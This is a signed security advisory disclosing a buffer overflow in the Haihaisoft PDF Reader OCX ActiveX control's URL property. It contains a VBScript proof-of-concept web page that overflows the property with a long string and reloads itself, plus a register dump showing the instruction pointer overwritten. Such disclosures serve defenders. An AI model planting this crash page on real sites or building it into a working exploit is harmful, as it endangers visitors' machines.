-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
==================================================================================
==================================================================================
Haihaisoft PDF Reader OCX Control Remote Buffer Overflow
url: http://www.haihaisoft.com/
==================================================================================
==================================================================================
Author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org/
This was written for educational purpose. Use it at your own risk.
Author will be not responsible for any damage.
Tested on:
Windows XP Professional SP3 full patched, Internet Explorer 8
Windows 2k Professional SP4 full patched, Internet Explorer 6
==================================================================================
==================================================================================
File name: PDFReaderOCX.ocx
Version: 1.1.2.0
ProgID: PDFReaderOCX.PDFReaderOCXCtrl.1
GUID: {28CB49D6-E530-442B-A182-79F047C3AA1B}
Descr.: PDFReaderOCX Control
Marked as: RegKey Safe for Script: True
RegKey Safe for Init: True
Implements IObjectSafety: False
==================================================================================
==================================================================================
This control contains 19 members, as follow:
Members: 19
URL
Language
UnicodeURL
ZoomOutput
ViewOutput
View_ContinuousOutput
UpdateURL
DownloadURL
m_ViewDir
RequiredVersion
Zoom
View
Rotate
GoTo
Open
Close
UILanguage
Print
DRMRights
Particularly this one "URL" results vulnerable to a buffer overflow if you
pass an overly long string (more than 2048 bytes) as filename and browse to
the crafted web page (e.g. http://www.SomeSite.com/File.pdf) and then
refresh the page.
==================================================================================
==================================================================================
Proof of concept:
<object classid='clsid:28CB49D6-E530-442B-A182-79F047C3AA1B' id='test'></object>
<script language="vbscript">
buff = "AAAAAAAAAAAAAAABBBB" + String(2011, "C")
test.URL = buff
Function tryMe()
document.location.reload
End Function
Sub Window_OnLoad
setTimeout "tryMe()",2000
End Sub
</script>
==================================================================================
==================================================================================
Registers:
17:07:08.406 pid=0410 tid=02DC EXCEPTION (first-chance)
----------------------------------------------------------------
Exception C0000005 (ACCESS_VIOLATION reading [42424242])
----------------------------------------------------------------
EAX=0275CD80: 20 82 75 02 78 5E 75 02-41 41 41 41 41 41 41 41
EBX=0275B978: CC 09 6B 02 00 00 00 00-00 00 00 00 98 B4 75 02
ECX=02755E78: 80 CD 75 02 C0 BA 75 02-00 00 00 00 58 64 3D 02
EDX=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
ESP=0297C5B0: 9F 9D 28 02 F0 A1 75 02-C4 C5 97 02 25 5C 29 02
EBP=0297FFB4: EC FF 97 02 BC B3 6B 79-78 5E 75 02 80 DF 12 00
ESI=0275BAC0: 78 5E 75 02 78 01 75 02-00 08 00 00 00 00 00 00
EDI=0275A1F0: BC 09 6B 02 00 00 00 00-00 00 00 00 0C A2 75 02
EIP=42424242: ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ??
--> N/A
----------------------------------------------------------------
==================================================================================
==================================================================================
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.10 (MingW32)
iQIcBAEBAgAGBQJMQDW4AAoJELleC2c7YdP1cg4P/jD0oq/osKQYYt1xfXCei9Ag
rkSyP9D91IwiTW5VQqnEfeDDBRsHAa7Y2xm7O7ZK5tkj1cTKnijyiSOHBum/V94v
oA9UGWJDzk2ztjHlUvHA2zrF9uxFxGQRxI+TgJlS9PgGvw3BYDT0ZwemniRY6wtS
PMbxiDRKGESPG6xCDCP1XLWUqdEUmlNchkzG1s6dqEbTfYmPcJTP/ffWS7glcJya
3eDoXIGqESBHMtRUKr8JFlEeI/ZpfZ83g5EiomP0KQoQreBBbdx1mER0EpCfgNuo
uBUwnZtkD5LA9kFL0mrnG4SC6KEw7s2gWKXwiXesZ8JI8Fuy/nvGy2na+yksTd/h
PQpMwtvR8eX1A3z4BZUV4OhgJB8oweAyI0TJUBi3F8VgDDGGDVcrR57HU8gX3S8T
Ft5j/xbO2qqCGb9hlgAhV1fQAa+HxXKtrPLp2arsnFCkLU4RINyH3TKK07pT3GSG
009qBpYL//hvV7pwv+pvYfrcZSrDf1yyU3cirVjSAkG23CdicHw7+woj9LgTMNR6
e4wys8kziNfCUVcfseTGWGAVKELxZyJvNhKz8Y6pXg7oSuz41bhf+uozjl/beBPz
jOKy6mfUCW2PogRvVOj8j/zkiseDtM3UjMazYuaBUmO8DNl8gpLFL007MN5dbLHM
QAGnwRHZypdNlz79bX/+
=kM0M
-----END PGP SIGNATURE-----
